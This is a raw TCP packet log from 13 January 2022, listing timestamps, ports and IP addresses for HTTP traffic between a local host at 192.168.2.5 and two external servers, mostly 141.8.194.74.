Jan 13, 2022 20:51:24.879599094 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.879601002 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.879604101 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.879622936 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.879652023 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.879664898 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.879676104 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.879694939 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.879714966 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.879771948 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.880249977 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.892622948 CET	49829	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:24.894967079 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.894994974 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.895019054 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.895044088 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.895067930 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.895092964 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.895117998 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.895136118 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.895142078 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.895148039 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.895168066 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.895190954 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.895215988 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.895239115 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.895240068 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.895241976 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.895266056 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.895292044 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.895318985 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.895335913 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.895339012 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.895344019 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.895369053 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.895392895 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.895416975 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.895435095 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.895438910 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.895442963 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.895467997 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.895492077 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.895519018 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.895538092 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.895540953 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.895543098 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.895567894 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.895590067 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.895615101 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.895639896 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.895642042 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.895642996 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.895665884 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.895690918 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.895715952 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.895740986 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.895741940 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.895744085 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.895766973 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.895790100 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.895813942 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.895837069 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.895842075 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.895845890 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.895862103 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.895885944 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.895909071 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.895931005 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.895932913 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.895934105 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.895957947 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.895982981 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.896008968 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.896024942 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.896028042 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.896034002 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.896058083 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.896083117 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.896106005 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.896121025 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.896125078 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.896137953 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.896163940 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.896188021 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.896212101 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.896236897 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.896244049 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.896246910 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.896261930 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.896286964 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.896311998 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.896328926 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.896332026 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.896334887 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.896362066 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.896385908 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.896409988 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.896430016 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.896439075 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.896442890 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.896455050 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.896481037 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.896505117 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.896523952 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.896528006 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.896528959 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.896555901 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.896580935 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.896604061 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.896622896 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.896626949 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.896627903 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.896651030 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.896676064 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.896701097 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.896725893 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.896729946 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.896752119 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.896776915 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.896780968 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.896785021 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.896800995 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.896826982 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.896847963 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.896874905 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.896878004 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.896881104 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.896907091 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.896931887 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.896956921 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.896981955 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.896985054 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.896986961 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.897006035 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.897030115 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.897054911 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.897078991 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.897080898 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.897084951 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.897104025 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.897133112 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.897149086 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.897167921 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.897181988 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.897186041 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.897192955 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.897217989 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.897242069 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.897245884 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.897267103 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.897291899 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.897316933 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.897324085 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.897327900 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.897341013 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.897366047 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.897370100 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.897388935 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.897414923 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.897439003 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.897443056 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.897463083 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.897486925 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.897509098 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.897511005 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.897511959 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.897535086 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.897558928 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.897583008 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.897599936 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.897603035 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.897608042 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.897633076 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.897659063 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.897682905 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.897705078 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.897720098 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.897722960 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.897731066 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.897754908 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.897779942 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.897804976 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.897829056 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.897834063 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.897838116 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.897870064 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.897896051 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.897911072 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.897913933 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.897921085 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.897943974 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.897969007 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.897993088 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.898017883 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.898026943 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.898030043 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.898042917 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.898066998 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.898091078 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.898114920 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.898124933 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.898128986 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.898139000 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.898163080 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.898186922 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.898211002 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.898231030 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.898233891 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.898237944 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.898262024 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.898284912 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.898308992 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.898332119 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.898333073 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.898334026 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.898359060 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.898382902 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.898408890 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.898416042 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.898418903 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.898433924 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.898458958 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.898483038 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.898507118 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.898520947 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.898525000 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.898530006 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.898556948 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.898581982 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.898612022 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.898626089 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.898629904 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.898638964 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.898662090 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.898682117 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.898706913 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.898730040 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.898730993 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.898734093 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.898755074 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.898777962 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.898802042 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.898825884 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.898838043 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.898842096 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.898849010 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.898874998 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.898900032 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.898924112 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.898931026 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.898933887 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.898947001 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.898971081 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.898994923 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.899018049 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.899019957 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.899019957 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.899043083 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.899069071 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.899092913 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.899106979 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.899110079 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.899116993 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.899141073 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.899166107 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.899189949 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.899199009 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.899203062 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.899214029 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.899236917 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.899260044 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.899283886 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.899308920 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.899315119 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.899318933 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.899333000 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.899357080 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.899380922 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.899405956 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.899408102 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.899411917 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.899430037 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.899454117 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.899477959 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.899487972 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.899491072 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.899501085 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.899524927 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.899547100 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.899559975 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.899561882 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.899571896 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.899596930 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.899621010 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.899647951 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.899653912 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.899657011 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.899672031 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.899694920 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.899719000 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.899723053 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.899728060 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.899743080 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.899768114 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.899791002 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.899797916 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.899801970 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.899813890 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.899838924 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.899862051 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.899885893 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.899902105 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.899904013 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.899912119 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.899936914 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.899960995 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.899971962 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.899976015 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.899985075 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.900008917 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.900070906 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.900074005 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.919117928 CET	80	49828	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:24.950139046 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.950193882 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.950242996 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.950259924 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.950294018 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.950301886 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.950311899 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.950356007 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.950360060 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.950409889 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.950417995 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.950464964 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.950468063 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.950522900 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.950576067 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.950583935 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.950592995 CET	49825	80	192.168.2.5	141.8.194.74
